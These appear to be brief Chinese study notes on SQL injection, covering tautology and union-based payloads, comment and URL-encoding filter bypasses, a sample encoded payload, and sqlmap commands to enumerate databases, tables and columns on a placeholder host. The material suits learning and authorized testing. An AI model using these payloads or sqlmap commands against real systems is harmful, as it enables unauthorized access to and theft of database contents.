- 先要自行了解sql的幾個概念:
1. or '1'='1'
2. order by
3. union : 聯合查詢需要表字段相同
- sql注入攻擊漏洞判斷步驟:
1、‘
2、查看數據庫信息
3、繞過過濾 /**/
如:url編碼繞過 or 1=1即 %6f%72%20%31%3d%31 (%3d為=,%31為1,%6f%72為or) 參考:http://www.w3school.com.cn/tags/html_ref_urlencode.html
那么
1%20or%201%3d1%20union%20select%201,2
- 工具:
使用sqlmap執行SQL注入攻擊
cd到“sqlmap”目錄中,用命令“python2 sqlmap.py”啟動Sqlmap
執行sql注入測試:
python2 sqlmap.py -u或 -url https://xx.xx.xx.xx --dbs --tables --columns
參考:
11種常見SQLMAP使用方法詳解
https://blog.csdn.net/whatday/article/details/54766536
sqlmap安裝
https://www.cnblogs.com/TNSSTAR/p/8359781.html
https://blog.csdn.net/wn314/article/details/78872828